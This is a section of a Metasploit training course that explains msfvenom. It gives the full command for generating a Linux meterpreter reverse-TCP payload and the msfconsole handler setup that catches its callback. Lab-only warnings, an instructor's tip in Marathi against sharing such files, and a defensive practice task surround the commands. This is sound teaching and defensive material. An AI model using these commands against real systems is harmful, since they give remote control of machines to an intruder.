23. Exploitation with Metasploit
23.6 msfvenom: Generating Payloads (Concept)
msfvenom creates a standalone payload file (for example an .exe or .elf) that, when run on a target, connects back to your Metasploit listener. In real engagements this is how a tester delivers a payload; you study it here so you can recognise and block such files.
# reverse shell for 64-bit Linux (concept – run only against a lab VM you own)
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.10 LPORT=4444 -f elf -o shell.elf
# list payloads / formats
msfvenom --list payloads | less
msfvenom --list formats
Then in msfconsole you start a matching handler to catch the connection:
msf6 > use exploit/multi/handler
msf6 > set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.56.10
msf6 > set LPORT 4444
msf6 > run
Never test payloads outside your lab
A generated payload is real malware. Keep it inside the host-only lab, never email it, upload it, or run it on any machine you do not own. Antivirus will (correctly) flag it.
Ravindra Bagale's Tip
Students msfvenom cha file WhatsApp/pendrive ne baherache kadhtat "gammat mhanun" – ha gunha aahe aani antivirus lagech pakadto. Concept samajnyasathi fakt lab VM var, aani nantar delete. Defender mhanun vichara: asa file aala tar mi kasa block karu?
Practice task
Write, in words only, the steps by which an attacker would deliver an msfvenom payload and how you as a defender would block it (email filtering, no unknown executables, EDR, outbound firewall rules). No need to run it outside a VM you own.